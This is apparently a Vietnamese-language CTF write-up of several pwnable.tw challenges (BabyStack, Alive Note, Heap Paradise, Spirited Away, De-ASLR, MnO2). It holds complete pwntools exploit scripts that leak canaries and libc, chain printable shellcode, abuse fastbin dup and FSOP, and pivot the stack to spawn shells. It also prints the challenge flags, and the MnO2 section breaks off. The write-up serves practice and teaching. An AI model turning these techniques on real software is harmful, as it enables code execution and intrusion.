Try   HackMD

(writeup) PWNABLE.TW p2

BabyStack [250 pts]

  • description

Can you find the password in the stack?

nc chall.pwnable.tw 10205

babystack

libc.so

  • basic file check

image

  • check ida (có renamed)

image

main()

image

copy_input()

image

check_pass()

analyse

  • trước khi in ra '>> ' ở mỗi vòng lặp, sẽ có thêm 1 bước generate cái random_password dài 16 bytes

sử dụng '/dev/urandom'

  • sau đó ở cuối chương trình có 1 bước check trước khi return
    memcmp(random_password,cana_check,0x10)

khá giống check canary, nhưng lần này là canary tận 16 bytes

  • program chia làm 2 option chính:
    • check_pass() : so sánh input với random_password bằng hàm strncmp
      • đúng in "Login Success !"
      • sai in "Failed !"
      • BUG strncmp : so tới NULL là dừng
    • copy_input() : copy src vào stack
      • *a1 là $rdi được truyền vào là char v6[64]
  • ngoài ra có biến check mặc định = 0, khi vào check_pass() nếu "Login Success !" thì set = 1
  • nhưng trước mỗi lần vào copy_input() hay check_pass() thì có điều kiện: if(check)
    • copy_input() cần check=1 mới vào được
    • check_pass() cần check=0 mới vào được
    • check=1 thì sẽ reset về 0 khi chọn option check_pass()

brute password - canary

  • như đã đề cập từ trước, BUG của strncmp sẽ chỉ so tới NULL -> có thể brute từng byte để leak random_password
  • ta sẽ viết 2 vòng lặp lồng nhau, loop 16 byte, mỗi byte brute từ 1 đến 256
leak_password = b''

for i in range(16):
	for j in range(1,256):
		payload = b''.join([p8(b) for b in leak_password]) + p8(j) + b'\0'
		password(payload)
		if b'Failed !\n' not in p.recvline():
			info('byte found: ' + hex(j)[2:])
			leak_password += p8(j)
			sa(b'>> ',b'1') #set check=0
			break

info('leaked password: ' + str(leak_password))

brute libc

  • kết hợp cả tính năng strcpy từ copy_input(), ta sẽ padding lượng vừa đủ để nối chuỗi đến địa chỉ libc trên stack

image

padding 72 bytes nối chuỗi libc

  • sau đó ta cần check=1 để đi tiếp copy_input() thì đơn giản là check_pass() cho NULL : p64(0)
  • rồi copy_input() padding lại 8 byte khác NULL

lúc này check=1 thì để brute, ta lại set check=0
sa(b'>> ',b'1') #set check=0

  • tương tự như cách brute password, lần này vòng lặp ít hơn

do copy_input()strcpy vào char v6[64]
mà padding 72 + nối chuỗi vài byte libc
-> overflow cả random_password

image

  • chỉ cần 5 vòng cho 5 byte, vì 3 byte còn lại là 0x00007f

do debug local nên tạm thời thế 0x7f thành 0x15

libc_leak = []

for i in range(5):
	for j in range(1,256):
		payload = b'a'*8 + b''.join([p8(b) for b in libc_leak]) + p8(j) + b'\0'
		password(payload)
		if b'Failed !\n' not in p.recvline():
			info('byte found: ' + hex(j)[2:])
			libc_leak.append(j)
			sa(b'>> ',b'1') #set check=0
			break

# libc_leak.append(0x7f) #remote
libc_leak.append(0x15) #local
libc_leak.append(0)
libc_leak.append(0)
libc_leak = u64(b''.join([p8(b) for b in libc_leak]))
info('libc leak: ' + hex(libc_leak))
libc.addess = libc_leak - 0x78439
info('libc base: ' + hex(libc.addess))

padding 8 bytes 'a' là do lúc debug, libc ngay sau 8 byte 'a'

image

one gadget

  • tương tự brute libc, ta cần payload return one_gadget nằm trên stack
    -> tiếp tục dùng copy_input()
  • việc còn lại là adjust canary và lượng padding phù hợp
payload = b'a'*0x40
payload += leak_password #de20
payload += b'a'*0x18
payload += p64(one_gadget) #de48

password(payload)
password(p64(0))
copy(b'D'*8) #dd50 -copy-> dde0
print(hexdump(leak_password))
exit()

image

get flag

Screenshot 2023-12-20 022620

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./babystack_patched',checksec=False)
libc = ELF('./libc_64.so.6',checksec=False)

def GDB(): #NOASLR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x555555400e2a
                b*0x555555400ebb
                b*0x555555400ff1
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw',10205)
else:
        p = process(exe.path)

def password(data,check=False):
		sa(b'>> ',b'1')
		sa(b'passowrd :',data)

def copy(data):
	sa(b'>> ',b'3')
	sa(b'Copy :',data)

def exit():
	sa(b'>> ',b'2')

leak_password = b''

for i in range(16):
	for j in range(1,256):
		payload = b''.join([p8(b) for b in leak_password]) + p8(j) + b'\0'
		password(payload)
		if b'Failed !\n' not in p.recvline():
			info('byte found: ' + hex(j)[2:])
			leak_password += p8(j)
			sa(b'>> ',b'1') #set check=0
			break

info('leaked password: ' + str(leak_password))

payload = b'a'*72
password(payload)
password(p64(0))

copy(b'C'*8)
sa(b'>> ',b'1') #set check=0

libc_leak = []

for i in range(5):
	for j in range(1,256):
		payload = b'a'*8 + b''.join([p8(b) for b in libc_leak]) + p8(j) + b'\0'
		password(payload)
		if b'Failed !\n' not in p.recvline():
			info('byte found: ' + hex(j)[2:])
			libc_leak.append(j)
			sa(b'>> ',b'1') #set check=0
			break

# GDB()

libc_leak.append(0x7f) #remote
# libc_leak.append(0x15) #local
libc_leak.append(0)
libc_leak.append(0)
libc_leak = u64(b''.join([p8(b) for b in libc_leak]))
info('libc leak: ' + hex(libc_leak))
libc.addess = libc_leak - 0x78439
info('libc base: ' + hex(libc.addess))

gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
one_gadget = libc.addess + gadget[3]

payload = b'a'*0x40
payload += leak_password #de20
payload += b'a'*0x18
payload += p64(one_gadget) #de48

password(payload)
password(p64(0))
copy(b'D'*8) #dd50 -copy-> dde0
print(hexdump(leak_password))
exit()

p.interactive()
#FLAG{Its_juS7_a_st4ck0v3rfl0w}

FLAG{Its_juS7_a_st4ck0v3rfl0w}


Alive Note [350 pts]

  • description:

The last 23 days, write down your shellcode.

nc chall.pwnable.tw 10300

alive_note

  • basic file check

image

  • check ida

image

main()

image

add_note()
có BUG OOB khi chỉ check idx < 10
nhập max 8 byte, check các byte ascii
thoả mãn thực thi strdup trả về ptr heap lưu vào note[idx]

image

image

show_note()
BUG OOB, show data trong note[idx]

image

del_note()
BUG OOB, xoá note[idx] bằng hàm free

image

check()
check các byte chữ HOA chữ THƯỜNG và số

analyse

  • vì có BUG OOB, có free(note[idx]) nên nghĩ đến trigger free@GOT

image

offset = -27

  • mỗi 1 note tối đa 8 byte và mỗi note là 1 heap được chain kế nhau trong heap chunk
  • suy ra mỗi shellcode sẽ có bước nhảy để lồng các shellcode trong từng heap
  • nếu để viết shellcode cho execve thì khá là khoai nên idea sẽ là call sysread rồi get_shell 1 loạt như bth cho dễ

writing shellcode

jne offset : sử dụng 1 giá trị độ lệch tương đối giữa 2 khối đoạn nằm trong phạm vi pháp lý

  • nếu dùng pwntool thì bị lỗi khi generate shellcode nên xem link byte shellcode trên biết được lệnh jne có byte là '\x75' (hoặc jnz)
  • về int 0x80 thì dùng kỹ thuật xor tương tự bài Death Note
  • jne để nhảy thì nhảy cũng phải từ 0x30 trở lên (thoả mãn byte in được)
    -> chain shellcode cách vài chunk

image

registers trước khi thực thi shellcode
local thì $ebx chứa địa chỉ môi trường nhưng server sẽ = 0

idea xor:
đẩy eax lên stack đưa đỡ vào ecx
rồi từ ecx đó đem đi xor
đẩy edx là 0 lên stack rồi pop eax
giảm eax xuống 0xffffffff rồi đem đi xor

idea jump:
cuối payload sẽ tính offset đến shellcode tiếp theo

script có note lại quá trình shellcode bị biến đổi
theo dõi script để hiểu kỹ hơn

setup run LOCAL

pwndbg> call (int)mprotect(heap_base,offset,7)

get shell

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./alive_note',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*add_note+98
                b*del_note+76
                b*show_note+95
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw',10300)
else:
        p = process(exe.path)


def add(idx,name):
	sla(b'choice :',b'1')
	sla(b'Index :',str(idx))
	sa(b'Name :',name)

def show(idx):
	sla(b'choice :',b'2')
	sla(b'Index :',str(idx))

def delete(idx):
	sla(b'choice :',b'3')
	sla(b'Index :',str(idx))

GDB()

shellcode1 = asm('''
	push eax
	pop ecx
	push edx
	push 0x7a
	pop edx
	''',arch='x86')
shellcode1 += b'\x75\x38' #jump 1e0 shellcode5

add(-27,shellcode1) #1a0

shellcode2 = asm('''
	xor al,0x46
	xor byte ptr[ecx+0x35], al
	push edx
	''',arch='i386')
#0xff ^ 0x46 = 0xb9
#ecx+0x35 = b'\x74' (shellcode4)
shellcode2 += b'\x75\x38' #jump 1f0 shellcode6
#\x74 ^ 0xb9 = 0xcd

add(0,shellcode2) #1b0

shellcode3 = b'aaaa' #padding

add(1,shellcode3) #1c0

shellcode4 = asm('''
	pop eax
	xor al, 0x79
	push eax
	push eax
	''',arch='i386')
shellcode4 += b'\x74\x39' #int 0x80 call sysread

add(2,shellcode4) #1d0

shellcode5 = asm('''
	pop eax
	dec eax
	xor byte ptr[ecx+0x46], al
	''',arch='i386')
#ecx+0x46 = b'\x36' (shellcode5)
shellcode5 += b'\x75\x36' #jump 1b0 shellcode2
#\x36 ^ 0xff = 0xcb  (jne -0x35) 

add(3,shellcode5) #1e0

shellcode6 = asm('''
	xor byte ptr[ecx+0x36], al
	xor byte ptr[ecx+0x57], al
	''',arch='i386')
#ecx+0x36 = b'\x39' (shellcode4)
#ecx+0x57 = b'\x61' (shellcode6)
shellcode6 += b'\x75\x61' #jump 1d0 shellcode4
#\x39 ^ 0xb9 = 0x80 
#\x61 ^ 0xb9 = 0xd8 (jne -0x26)

add(4,shellcode6) #1f0

delete(-27)

get_shell = asm(shellcraft.sh())

p.send(b'a'*0x37+get_shell)

p.interactive()
#FLAG{Sh3llcoding_in_th3_n0t3_ch4in}

FLAG{Sh3llcoding_in_th3_n0t3_ch4in}


Heap Paradise [350 pts]

  • description

Let's go to heap paradise

nc chall.pwnable.tw 10308

heap_paradise

libc.so

  • basic file check

image

  • check ida (renamed do stripped)

image

main()

image

menu()
chia làm 3 option chính
tạo chunk, xoá chunk và thoát chtrinh

image

add()
tạo tối đa 15 chunks
mỗi chunk tạo có size tối đa 0x78
ptr mỗi chunk được lưu vào bss chunk

image
NOASLR : chunk = 0x555555602040

image

delete()
đơn giản là free chunk thôi
nhưng lại k set ptr = NULL
-> DBF hoặc UAF

analyse

  • 1 chtrinh đơn giản chỉ tạo chunk, xoá chunk
  • không có option nào in ra data
  • phải định hướng làm sang FSOP
  • challenge đi kèm libc2.23 -> không có tcache
  • lấy shell bằng __malloc_hook

make ubin

  • đầu tiên ta phải tạo fake_chunk, cũng như set fake_next_size
  • bước này đơn giản thôi
  • DBF để sửa fastbin trỏ về fake_chunk
  • sau đó sửa size fake_chunk lên 0xa1 (out of range fastbin) rồi cuối cùng free nó
payload = flat(
    0,0,   #4010 #4018
    0,0x71 #4020 #4028 #fake_chunk #victim_size
    )

add(0x68,payload) #chunk0:4010

payload = flat(
    0,0,    #4080 #4088
    0,0,    #4090 #4098
    0,0,    #40a0 #40a8
    0,0,    #40b0 #40b8
    0,0x21  #40c0 #40c8 #next_chunk #next_size
    )

add(0x68,payload) #chunk1:4080

delete(0) #0 #4000
delete(1) #1->0 #4070->4000
delete(0) #0->1->0 #4000->4070->4000 #fastbin dup

add(0x68,b'\x20') #chunk2:4010 #bin:0x4070->4000->4020
add(0x68,b'A') #chunk3:4080 #bin:4000->4020
add(0x68,b'B') #chunk4:4010 #bin:4020
add(0x68,b'C') #chunk5:4030 #fake_chunk

delete(0) #bin:4000

payload = flat(
    0,0,   #4010 #4018
    0,0xa1 #4020 #4028 #fake_chunk #fake_size
    )

add(0x68,payload) #chunk6:4010

delete(5) #5 -> ubin:4020

brute force FSOP

  • khúc này ta sẽ tận dụng cơ chế phân bổ chunk khi có ubin (xem thêm)
  • ta sẽ tạo 1 chunk khác với size cũ, để malloc phân bổ ubin từ size 0xa1 xuống

tránh malloc cùng size để reused fastbin

  • rồi data sẽ set fake_size cũng như ow 1 byte trỏ đến main_area
delete(0) #0 #4000
delete(1) #1->0 #4070->4000

payload = flat(
    0,0,   #4030 #4038
    0,0,   #4040 #4048
    0,0,   #4050 #4058
    0,0,   #4060 #4068
    0,0x71 #4070 #4078
    )
payload += b'\xa0' #ow heap bin
#from 4070->4000 to 4070->40a0->main_area

add(0x78,payload) #chunk7:4030 #request from ubin 4020
#new ubin 40a0 (size 0xa1-0x80=0x21)
delete(7)
  • lần malloc tiếp theo với size cũ sẽ có khả năng ow cả main_area
  • ta sẽ ow 2 bytes biến main_area thành 1 addr_libc khác

logical thinking sẽ ow 2 byte nào đó là 1 fake_chunk có sẵn fake_size

  • để FSOP thì liên quan đến stdout, ta sẽ ow địa chỉ trước stdout là stderr và kiếm 1 địa chỉ sao cho có size 0x7f (byte libc)

image

do DEBUG LOCAL có NOASLR nên byte là 0x15, giả định bỏ NOASLR là byte 0x7f

  • nhận thấy rằng ở _IO_2_1_stdout - 0x43 có size thoả mãn, ta sẽ ow đúng 2 bytes b'\xdd\x45'
brute = p64(libc.sym['_IO_2_1_stdout_'] - 0x43)[:2]

payload = flat(
    0,0,   #4080 #4088 
    0,0,   #4090 #4098
    0,0x71 #40a0 #40a8 #victim_chunk #re_size
    )
payload += brute #ow main_area to stdout-0x43 (fake_size 0x7f)

add(0x68,payload) #chunk8:4080 #bin:40a0->stdout-0x43
add(0x68,brute)   #chunk9:40b0 #re_ow stdout-0x43
  • về target để leak libc trong FSOP, có thể xem thêm

image

_flags = 0xfbad1800
write_base < write_ptr : sửa 46a3 thành 4688
0x88 < 0xa3 : thoả
0x88 : chứa địa chỉ stdin

image
offset = 0x3c38e0

ow __malloc_hook = one_gadget

  • tới bước này là dễ rồi, tương tự các bài khác

xem kỹ thuật

image

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./heap_paradise_patched',checksec=False)
libc = ELF('./libc_64.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)

def GDB(): #NOALSR
        if not args.REMOTE: 
                gdb.attach(p, gdbscript='''
                b*0x555555400d66
                b*0x555555400dcd
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

def add(size, data):
    sla(b'You Choice:',b'1')
    sla(b'Size :',str(size))
    sa(b'Data :',data)

def delete(idx):
    sla(b'You Choice:',b'2')
    sla(b'Index :',str(idx))

#chunk = 0x555555602040
while True:
	if args.REMOTE:
	        p = remote('chall.pwnable.tw',10308)
	else:
	        p = process(exe.path)

	### ubin ###

	payload = flat(
		0,0,   #4010 #4018
		0,0x71 #4020 #4028 #fake_chunk #victim_size
		)

	add(0x68,payload) #chunk0:4010

	payload = flat(
		0,0,    #4080 #4088
		0,0,    #4090 #4098
		0,0,    #40a0 #40a8
		0,0,    #40b0 #40b8
		0,0x21  #40c0 #40c8 #next_chunk #next_size
		)

	add(0x68,payload) #chunk1:4080

	delete(0) #0 #4000
	delete(1) #1->0 #4070->4000
	delete(0) #0->1->0 #4000->4070->4000 #fastbin dup

	add(0x68,b'\x20') #chunk2:4010 #bin:0x4070->4000->4020
	add(0x68,b'A') #chunk3:4080 #bin:4000->4020
	add(0x68,b'B') #chunk4:4010 #bin:4020
	add(0x68,b'C') #chunk5:4030 #fake_chunk

	delete(0) #bin:4000

	payload = flat(
		0,0,   #4010 #4018
		0,0xa1 #4020 #4028 #fake_chunk #fake_size
		)

	add(0x68,payload) #chunk6:4010

	delete(5) #5 -> ubin:4020

	### leak libc ###
	# GDB()
	delete(0) #0 #4000
	delete(1) #1->0 #4070->4000

	payload = flat(
		0,0,   #4030 #4038
		0,0,   #4040 #4048
		0,0,   #4050 #4058
		0,0,   #4060 #4068
		0,0x71 #4070 #4078
		)
	payload += b'\xa0' #ow heap bin
	#from 4070->4000 to 4070->40a0->main_area

	add(0x78,payload) #chunk7:4030 #request from ubin 4020
	#new ubin 40a0 (size 0xa1-0x80=0x21)
	delete(7) 
	#bin0x70:4070->40a0->main_area
	#bin0x80:4020

	brute = p64(libc.sym['_IO_2_1_stdout_'] - 0x43)[:2]

	payload = flat(
		0,0,   #4080 #4088 
		0,0,   #4090 #4098
		0,0x71 #40a0 #40a8 #victim_chunk #re_size
		)
	payload += brute #ow main_area to stdout-0x43 (fake_size 0x7f)

	add(0x68,payload) #chunk8:4080 #bin:40a0->stdout-0x43
	add(0x68,brute)   #chunk9:40b0 #re_ow stdout-0x43

	_flags = 0xfbad1800
	payload = b'\0'*0x33 #padding
	payload += p64(_flags) 
	payload += p64(0) * 3 + b'\x88'
	try:
		add(0x68,payload) #take from libc addr (main area)
	except EOFError:
		continue
	leak = p.recv(6)
	if leak != b'*'*6:
		libc_leak = u64(leak.ljust(8,b'\0'))
		libc.address = libc_leak - 0x3c38e0
		info("libc leak: " + hex(libc_leak))
		info("libc base: " + hex(libc.address))
		break
	else:
		p.close()

### get shell ###

delete(0)
delete(1)
delete(0)

gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
one_gadget = libc.address + gadget[2]

add(0x68,p64(libc.sym['__malloc_hook']-0x23))
add(0x68,b'A')
add(0x68,b'B')
add(0x68,b'a'*0x13 + p64(one_gadget))

delete(0)
delete(0)#trigger aborted

p.interactive()
#FLAG{W3lc0m3_2_h3ap_p4radis3}

FLAG{W3lc0m3_2_h3ap_p4radis3}


Spirited Away [300 pts]

  • description:

Thanks for watching Spirited Away !

Please leave some comments to help us improve our next movie !

nc chall.pwnable.tw 10204

spirited_away

libc.so

  • basic file check

image

  • check ida

image
image

survey()
biến name_buf là ptr cho malloc(60)
loop lại thì free(name_buf) rồi memset() cho comment

analyse

  • run chay binary thì thấy 1 khả năng leak từ %s

image

leak được libc, stack, v.v..

  • ngoài ra còn 1 bug khác ít để ý tới là lỗi off-by-one đến từ hàm sprintf()
  • biến v1 được khai báo là 56,

image

chuỗi %d comment so far. We will review them as soon as we can vừa hay đủ 56 byte

  • hàm đó sẽ copy định dạng %d từ biến cnt và cả chuỗi đó vào
  • đồng nghĩa nếu biến cnt trong phạm vi 0<cnt<99 sẽ vẫn ở trạng thái 56 byte

"%d" là 2, cnt khi ở 2 digits vẫn k vấn đề gì

  • nhưng cnt là 3 digits sẽ overflow xuống biến size_60 1 byte là "n" trong từ "can"

từ size 60 thành size 0x6e ("n")
===> BOF cho biến name_bufcomment

leak primitive

  • leak libc và leak stack là dễ rồi
add(b'a',10,b'b'*36,b'c')
p.recvuntil(b'b'*36)
libc_leak = u32(p.recv(4))
libc.address = libc_leak - 0x5d39f
info("libc leak: " + hex(libc_leak))
info("libc base; " + hex(libc.address))
yes()

add(b'a',10,b'b'*56,b'c')
p.recvuntil(b'b'*56)
stack_leak = u32(p.recv(4))
info("stack leak: " + hex(stack_leak))
yes()

ret2system

  • đầu tiên ta phải padding đến khi thành size 0x6e
for i in range(3,101):
        if i > 10 and i <=100:
                add(False,10,b'b',False)
                info("cnt: " + str(i))
                yes()
        else:
                add(b'a',10,b'b',b'c')
                info("cnt: " + str(i))
                yes()

phải chia 2 giai đoạn padding khác nhau vì trong lúc DEBUG, có vài đoạn bị pass qua mà không cần nhập

def add(name, age, reason, comment):
        if name != False:
                sa('name: ',name)
        sla('age: ',str(age))
        sa('movie? ',reason)
        if comment: 
                sa('comment: ',comment)

chỉnh lại hàm

  • nhớ thứ tự biến trong ida là comment[80] -> *name_buf -> reason[80]
comment = $ebp-0xa8
#comment->name_buf = 0x54
name_buf = $ebp-0x54
reason = $ebp-0x50
  • và thứ tự ghi data là name_buf -> age -> reason -> comment
  • reason gần $eip nhất mà lại không BOF được, nên ta sẽ fake name_buf thành stack_need gần $eip
  • nhưng name_buf lại là ptr chứa heap chunk, để fake không bị lỗi ta phải setup stack_need thành fake_chunk có fake_size 0x41
  • cũng không quên set cho cả next_size của fake_chunk

image

loop gần 100 vòng nên next_chunk có size tận 0x1008

  • sau reason là tới comment có khả năng BOF ow được name_buf
reason = p32(0) 
reason += p32(0x41) #fake_size
reason += b'aaaa'*15 #need = ptr name_buf = fake_chunk
reason += p32(0x1009) #fake_next_size

cmt = b'd'*0x54 + p32(stack_leak-0x68)

add(b'a',10,reason,cmt)
yes() 
  • cuối cùng thì ow $eip là system() là xong

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./spirited_away_patched',checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)

def GDB(): #NOASLR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*survey+125
                b*survey+235
                b*survey+305
                b*survey+381
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw',10204)
else:
        p = process(exe.path)


def add(name, age, reason, comment):
        if name != False:
                sa('name: ',name)
        sla('age: ',str(age))
        sa('movie? ',reason)
        if comment: 
                sa('comment: ',comment)
def yes():
        sa(b'<y/n>: ',b'y')

add(b'a',10,b'b'*36,b'c')
p.recvuntil(b'b'*36)
libc_leak = u32(p.recv(4))
libc.address = libc_leak - 0x5d39f
info("libc leak: " + hex(libc_leak))
info("libc base; " + hex(libc.address))
yes()

add(b'a',10,b'b'*56,b'c')
p.recvuntil(b'b'*56)
stack_leak = u32(p.recv(4))
info("stack leak: " + hex(stack_leak))
yes()

system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\0'))

for i in range(3,101):
        if i > 10 and i <=100:
                add(False,10,b'b',False)
                info("cnt: " + str(i))
                yes()
        else:
                add(b'a',10,b'b',b'c')
                info("cnt: " + str(i))
                yes()

name_stack = stack_leak - 0x74
comment_stack = stack_leak - 0xc8
reason_stack = stack_leak - 0x70
age_stack = stack_leak - 0x78
info("stack leak: " + hex(stack_leak))
info("stack name_buf: " + hex(name_stack))
info("stack reason: " + hex(reason_stack))
info("stack comment: " + hex(comment_stack))
info("stack need: " + hex(stack_leak-0x68))

GDB()

reason = p32(0) 
reason += p32(0x41) #fake_size
reason += b'aaaa'*15 #need = ptr name_buf = fake_chunk
reason += p32(0x1009) #fake_next_size

cmt = b'd'*0x54 + p32(stack_leak-0x68)

add(b'a',10,reason,cmt)
yes() 

payload = b'a' * 76
payload += p32(system)
payload += p32(0) #padding
payload += p32(binsh)

add(payload,10,b'b',b'a')
sa(b'<y/n>: ',b'n')

p.interactive()
#FLAG{Wh4t_1s_y0ur_sp1r1t_1n_pWn}

De-ASLR [500 pts]

  • description

Do you know how to Defeat ASLR?

nc chall.pwnable.tw 10402

deaslr

libc.so

  • basic file check

image

  • check ida

image

main()

analyse

  • chỉ 1 hàm gets, không hàm nào possible để in ra
  • ban đầu nghĩ tới ret2dlresolve, nhưng nhìn security check thì thấy Full RELRO
  • sau khi nhận được hint là BUG sẽ xuất hiện khi ta trigger gets twice
  • trigger gets tức là mình phải ghi cái gì đó
  • để leak libc bằng FSOP ta cũng phải ghi đè flags = 0xfbad1800 chẳng hạn
  • và get shell bằng system thì ta phải call tới nó

image

khi leak libc bằng FSOP thì khó mà đưa system("/bin/sh") vào stack
nên ta chọn cái call qword ptr [rbp + 0x48]

stack pivot

  • đầu tiên để ROP thì ta sẽ stack pivot vào 1 addr r_w_section
payload  = p64(rw_section) #rbp
payload += p64(pop_rdi) 
payload += p64(rw_section) 
payload += p64(gets) 
payload += p64(leave_ret) 

sl(b'a'*0x10 + payload)

ROP + FSOP

  • vì mục tiêu là rbp + 0x48 nên target_addr sẽ chứa system
  • ta sẽ trigger gets 2 lần, lần 1 chỉ '\n', lần 2 sẽ cho FSOP
  • dừng lại sau khi gets lần 1:

image

nhìn thấy $rdi là _IO_2_1_stdin
lần gets thứ 2 sẽ thay đổi được file structure

  • ta sẽ leak libc_start_main

image

0x600fe0

  • sử dụng pwntool cho tiện
fs = FileStructure()
fs.flags = 0xfbad1800
fs._IO_write_base = 0x600fe0    # __libc_start_main_@got.plt
fs._IO_write_ptr = 0x600fe8     # leak 8 bytes
  • việc sau đó là call gets lần nữa để ghi system và "/bin/sh\0"
  • rồi setup $rdi cho "/bin/sh\0" rồi call qword [rbp + 0x48]

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./deaslr_patched',checksec=False)
libc = ELF('./libc_64.so.6',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*main+30
                b*main+31
                b*0x400430
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw',10402)
else:
        p = process(exe.path)

gets = exe.plt['gets']

pop_rdi = 0x00000000004005c3
call_rbp = 0x0000000000400535  # call qword ptr [rbp + 0x48]
leave_ret = 0x0000000000400554
rw_section = 0x601a00
target = 0x601020

#stack pivot
payload  = p64(rw_section) #rbp
payload += p64(pop_rdi) 
payload += p64(rw_section) 
payload += p64(gets) #payload1
payload += p64(leave_ret) 
# GDB()
sl(b'a'*0x10 + payload) 

payload  = p64(target - 0x48)       #fake_rbp
payload += p64(pop_rdi)             
payload += p64(0x601b00)            #rw_section
payload += p64(gets)                #payload2
payload += p64(gets)                #payload3 #trigger twice FSOP
payload += p64(pop_rdi)             
payload += p64(target)              
payload += p64(gets)                #payload4 #leak libc
payload += p64(pop_rdi)             
payload += p64(target+8)            #"/bin/sh"
payload += p64(call_rbp)            #call system

sl(payload) #payload1

sl(b'') #payload2 
#not send to have _IO_2_1_stdin_ in rdi
#next gets will write like FSOP

fs = FileStructure()
fs.flags = 0xfbad1800
fs._IO_write_base = 0x600fe0    # __libc_start_main_@got.plt
fs._IO_write_ptr = 0x600fe8     # leak 8 bytes

sl(bytes(fs)[:0x48]) #payload3

libc_leak = u64(p.recv(8))
libc.address = libc_leak - libc.sym['__libc_start_main']
log.info('libc leak: ' + hex(libc_leak))
log.info('libc base: ' + hex(libc.address))

payload = p64(libc.sym['system']) #target
payload += b'/bin/sh\0'

sl(payload) #payload4

p.interactive()
#FLAG{R0P_H4rd_TO_D3F3AT_ASLR}

FLAG{R0P_H4rd_TO_D3F3AT_ASLR}


MnO2 [400 pts]

  • description

Give me some compound. No more than 31337 mole.

nc chall.pwnable.tw 10301

mno2

  • basic file check

image

  • check ida

image

main()

image
image

check()

image

find()

image

&elements

image

analyse

  • tạo mmap cho địa chỉ 0x324F6E4D (b'MnO2') có size 0x8000 và prot=7
  • sau đó set NULL cuối payload
  • rồi tới hàm check()
  • hàm check() sẽ filter payload ta lại, cho phép các byte in được (ascii) và thoả mãn là 1 nguyên tố hoá học (element) và hoá trị (valence)
table = [
     'H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F',
     'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl',
     'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn',
     'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As',
     'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb',
     'Mo', 'Tc', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In',
     'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La',
     'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb',
     'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta',
     'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl',
     'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac',
     'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk',
     'Cf', 'Es', 'Fm', 'Md', 'No', 'Lr', 'Rf', 'Db',
     'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Fl', 'Lv'
     ]
  • nhưng cùi mía ở chỗ hoá trị không nhất thiết phải đúng là 1, 2 hay 3 (chỉ check hoá trị là số sẽ sau 1 nguyên tố) -> BUG: chain custom shellcode
  • TARGET: shellcode sẽ setup read( 3 , shellcode_addr , huge_size ) để thực thi read 1 lần nữa rồi call execve

writing shellcode

  • khá giống bài Alive Note , nhưng khó hơn ở chỗ các byte là nguyên tố hoá học -> periodic_shellcode
  • link byte shellcode
  • link chain shellcode
  • đầu tiên trong mớ nguyên tố ta lọc được các byte liên quan đến 4 thanh ghi 32bits như sau
X: pop eax (Xe: pop eax) 
P: push eax
Y: pop ecx
H: dec eax
A: inc ecx
I: dec ecx
chữ e là byte 65, là byte not used
khi kết hợp thành Xe, e được hiểu là thanh ghi gs (bit cờ) 
---> không quan trọng nhưng cần để bypass

image

  • workflow:
shellcode_addr sẽ trên eax 
đẩy eax lên stack đưa đỡ vào ecx
rồi từ eax đẩy các byte đem đi xor với [ecx+offset] thành int 0x80
xor từng byte thành int 0x80 nên ecx cũng +1
những byte khác không liên quan đem vào để thoả mãn nguyên tố thôi
cuối payload sẽ lựa các byte trong nguyên tố sao cho
khi xor 0xff hay xor các byte in được khác ra int 0x80
rồi eax xor sao về 3 
rồi shellcode còn lại thực thi 1i khác
(không ảnh hưởng 4 thanh ghi chủ chốt cho đến int 0x80 là được)
0:  50                      push   eax                      #P
